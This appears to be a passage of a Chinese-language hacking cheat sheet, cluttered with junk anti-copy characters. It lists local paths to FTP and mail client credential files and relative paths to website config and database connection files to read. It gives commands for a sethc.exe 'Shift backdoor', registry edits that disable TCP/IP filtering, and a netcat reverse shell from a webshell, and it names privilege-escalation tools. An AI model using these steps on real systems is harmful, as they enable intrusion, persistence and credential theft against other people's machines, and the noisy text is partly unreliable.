C:\Program Files\tencent\Foxmal\Foxmail.exe
- n* x% `# y" J6 H# ]C:\Program Files\tencent\Foxmal\accounts.cfg
1 p. T! [) O1 X, ZC:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
3 X, b. v/ k' m: ?c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
) N% G: t5 G0 J% F3 fC:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe

3 u3 Q' Q# e: d. [- N! n9 G; }8 m3.网站相对路径:
: _5 y1 V: P+ V1 u$ v
/config.php
../../config.php
../config.php
../../../config.php
- O  ]+ K7 {3 s6 d% ~; Y/config.inc.php
9 \/ m6 I4 ]9 _. s4 Q' d: F./config.inc.php
../../config.inc.php
../config.inc.php
) \7 c9 z4 g/ K: P; l9 e../../../config.inc.php
8 c- H2 [, t. v9 M/conn.php
- L( M, u8 n7 `: I& V5 R: G0 _./conn.php
! p# f% ~% i* M" }6 Z& U../../conn.php
/ b9 N/ ^0 ?5 P: Q../conn.php
../../../conn.php
/conn.asp
8 l) ?& T) V7 ^0 m./conn.asp
../../conn.asp
../conn.asp
../../../conn.asp
$ n, U9 Z2 }( a1 U) x; D/config.inc.php
./config.inc.php
../../config.inc.php
../config.inc.php
: i0 ?8 D+ s3 c- h2 ?../../../config.inc.php
% \1 J. M# |3 X- |/config/config.php
../../config/config.php
) l( i* ]( s4 [9 V% a  Z- x../config/config.php
: \, x' h  d! F/ e* D7 P../../../config/config.php
/config/config.inc.php
3 ~$ [* q, k- R& W+ `4 h./config/config.inc.php
../../config/config.inc.php
. z# R: O3 b& p3 x1 e' z../config/config.inc.php
! r* b9 D0 l2 x../../../config/config.inc.php
3 i5 t; @/ \# W- ^6 q/config/conn.php
# v+ R& M7 _9 j1 Z1 j./config/conn.php
../../config/conn.php
4 k4 X5 T1 P7 s' q' h2 D3 ~../config/conn.php
../../../config/conn.php
/config/conn.asp
0 F) T5 \" ^  w* d# [1 G: n./config/conn.asp
../../config/conn.asp
2 \" ]/ Y3 D! ]  p% @  r% [../config/conn.asp
3 Z  }1 E: f/ S5 i" ?9 T../../../config/conn.asp
/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
8 L% P7 l( X" _. S+ I5 Z2 a6 j/data/config.php
8 Y: j7 ]+ M, A, V../../data/config.php
../data/config.php
, B4 s& i4 F' O' g+ N% ?../../../data/config.php
/data/config.inc.php
./data/config.inc.php
. S& e* l& t& i6 N- J& U* d1 L& T../../data/config.inc.php
- z/ D& x* \' C' G../data/config.inc.php
- a, L5 z) i: y6 m../../../data/config.inc.php
/data/conn.php
./data/conn.php
../../data/conn.php
# O: w7 x! d- }- m( _' O# Y../data/conn.php
../../../data/conn.php
4 O. E: _. U( P  w3 n+ p* h7 y3 b/data/conn.asp
./data/conn.asp
../../data/conn.asp
% J% A! T! y! L$ S../data/conn.asp
../../../data/conn.asp
/data/config.inc.php
./data/config.inc.php
& H* H- B; o  `5 M8 W& x: f. K../../data/config.inc.php
../data/config.inc.php
; M9 A4 t. a. u% T+ y6 @8 l2 }../../../data/config.inc.php
& K: J% c) b  |; E; Q% \8 I/include/config.php
2 [. r6 w. i6 _) T1 l# y0 D../../include/config.php
3 q0 i4 @" @3 J' P../include/config.php
../../../include/config.php
/include/config.inc.php
/ |; D+ R9 v! @./include/config.inc.php
../../include/config.inc.php
) Z  q, N& ?3 N! i& `, G../include/config.inc.php
1 }. m+ G) p. r" Y; |9 ?../../../include/config.inc.php
& Q# T5 T' ^! w; V# u/include/conn.php
0 C: w' e7 W) t./include/conn.php
1 f5 i- d0 d: L) s! Z0 g9 ^0 }8 g../../include/conn.php
../include/conn.php
../../../include/conn.php
3 f& R. ^8 G$ y/ z: f- ]  r/include/conn.asp
./include/conn.asp
; I8 V, j; O$ [* k; n* n" S../../include/conn.asp
../include/conn.asp
+ ]# B" O5 g9 w5 M! h9 ?5 J../../../include/conn.asp
/include/config.inc.php
./include/config.inc.php
5 i; \/ t* W; S! n) G../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
. q" V- j" R% H0 Y3 m5 C6 J/inc/config.php
( A! y" H9 Q8 u, |../../inc/config.php
' T  {. c8 e; F! y7 O/ \3 I../inc/config.php
../../../inc/config.php
+ A5 R% d8 y7 ~! a/inc/config.inc.php
' F2 A" \$ ]# J4 j  E  R" L# ~./inc/config.inc.php
3 c& I5 E0 _2 S: }& L../../inc/config.inc.php
../inc/config.inc.php
& R. b. _; C6 q& C' i, b../../../inc/config.inc.php
5 P: p6 u; z4 ]: `2 z  r/inc/conn.php
2 u5 V! m" q& b) P./inc/conn.php
../../inc/conn.php
../inc/conn.php
" N( }3 q, v! ~: ]/ s4 _../../../inc/conn.php
/inc/conn.asp
./inc/conn.asp
../../inc/conn.asp
! b- p+ c" s  t" D1 v../inc/conn.asp
../../../inc/conn.asp
/inc/config.inc.php
' l& B9 m# q& o4 X./inc/config.inc.php
: m/ e& a6 k! e7 Z../../inc/config.inc.php
../inc/config.inc.php
$ n* u/ O+ T5 [( t) o../../../inc/config.inc.php
, z0 c+ K/ Q/ p5 V" U/index.php
, h( {# Y: [5 F3 x* P5 n./index.php
( e. g& Y; h/ W( p# t, O9 S1 P../../index.php
../index.php
../../../index.php
/index.asp
./index.asp
../../index.asp
../index.asp
8 u4 }1 M$ y; G+ F9 m; \9 Q../../../index.asp
替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s
. f% z8 ~2 {# y- U
　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

+ z  L3 |! |0 j+ m: p+ U　　del c:\windows\system32\sethc.exe
0 L# E* Z' w+ G( U+ e
2 f3 W$ P- `* N+ H+ Z2 p　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

6 t  B0 k0 i+ g) E5 y% s　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
: m# d. L8 d9 j* B1 y
+ l/ b1 i5 Y1 @$ @7 t9 w  c( X　　attrib c:\windows\system32\sethc.exe +h +r +s

　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
) a0 {8 c9 Y  A6 b9 v3 D5 t9 s去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
/ ]7 A5 k3 D( ?3 ]# \- {+ wHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

: a0 i  ?/ K! V7 `$ c7 N( U分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
% I+ d" L, A* \; c! C9 z% S# M1 uregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
3 P$ n+ D, m$ S: R4 v' m命令来导出注册表项
+ f* M* n/ Q# c
然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

再将以上三个文件分别用
regedit -s D:\a.reg
regedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可
7 R, j% @2 b+ P8 q
& x! s' V* R  ?4 h- s/ Z: x5 t1 k9 wwebshell提权小技巧
" k; i9 D. W$ c' J, W1 P- f5 jcmd路径:
c:\windows\temp\cmd.exe
( w5 Z$ k- K% [9 z. g; q1 fnc也在同目录下
例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。

而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
% ?. [# z" b! x* s命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
' `, A4 C' P+ }$ O这个不是重点
" ^5 Y2 F* T; y我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功